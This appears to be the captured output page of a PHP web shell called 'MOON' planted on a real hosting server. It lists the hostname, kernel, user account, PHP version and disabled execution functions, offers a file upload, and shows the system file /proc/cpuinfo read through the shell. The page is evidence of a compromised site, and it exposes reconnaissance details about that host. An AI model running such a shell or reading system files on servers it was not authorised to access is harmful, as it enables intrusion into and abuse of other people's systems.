MOON
Server: Apache
System: Linux 101-53-147-124.cprapid.com 4.18.0-553.121.1.el8_10.x86_64 #1 SMP Thu Apr 30 09:06:34 EDT 2026 x86_64
User: clientsoftwares (1005)
PHP: 8.1.34
Disabled: show_source, system, shell_exec, passthru, exec, popen, proc_open
Upload Files
File: //proc/cpuinfo
processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 15
model		: 6
model name	: Common KVM processor
stepping	: 1
microcode	: 0x1000065
cpu MHz		: 2894.562
cache size	: 512 KB
physical id	: 0
siblings	: 4
core id		: 0
cpu cores	: 4
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm rep_good nopl cpuid extd_apicid tsc_known_freq pni cx16 x2apic hypervisor cmp_legacy 3dnowprefetch vmmcall
bugs		: fxsave_leak sysret_ss_attrs null_seg swapgs_fence spectre_v1 spectre_v2
bogomips	: 5789.12
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: AuthenticAMD
cpu family	: 15
model		: 6
model name	: Common KVM processor
stepping	: 1
microcode	: 0x1000065
cpu MHz		: 2894.562
cache size	: 512 KB
physical id	: 0
siblings	: 4
core id		: 1
cpu cores	: 4
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm rep_good nopl cpuid extd_apicid tsc_known_freq pni cx16 x2apic hypervisor cmp_legacy 3dnowprefetch vmmcall
bugs		: fxsave_leak sysret_ss_attrs null_seg swapgs_fence spectre_v1 spectre_v2
bogomips	: 5789.12
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 2
vendor_id	: AuthenticAMD
cpu family	: 15
model		: 6
model name	: Common KVM processor
stepping	: 1
microcode	: 0x1000065
cpu MHz		: 2894.562
cache size	: 512 KB
physical id	: 0
siblings	: 4
core id		: 2
cpu cores	: 4
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm rep_good nopl cpuid extd_apicid tsc_known_freq pni cx16 x2apic hypervisor cmp_legacy 3dnowprefetch vmmcall
bugs		: fxsave_leak sysret_ss_attrs null_seg swapgs_fence spectre_v1 spectre_v2
bogomips	: 5789.12
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 3
vendor_id	: AuthenticAMD
cpu family	: 15
model		: 6
model name	: Common KVM processor
stepping	: 1
microcode	: 0x1000065
cpu MHz		: 2894.562
cache size	: 512 KB
physical id	: 0
siblings	: 4
core id		: 3
cpu cores	: 4
apicid		: 3
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm rep_good nopl cpuid extd_apicid tsc_known_freq pni cx16 x2apic hypervisor cmp_legacy 3dnowprefetch vmmcall
bugs		: fxsave_leak sysret_ss_attrs null_seg swapgs_fence spectre_v1 spectre_v2
bogomips	: 5789.12
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management: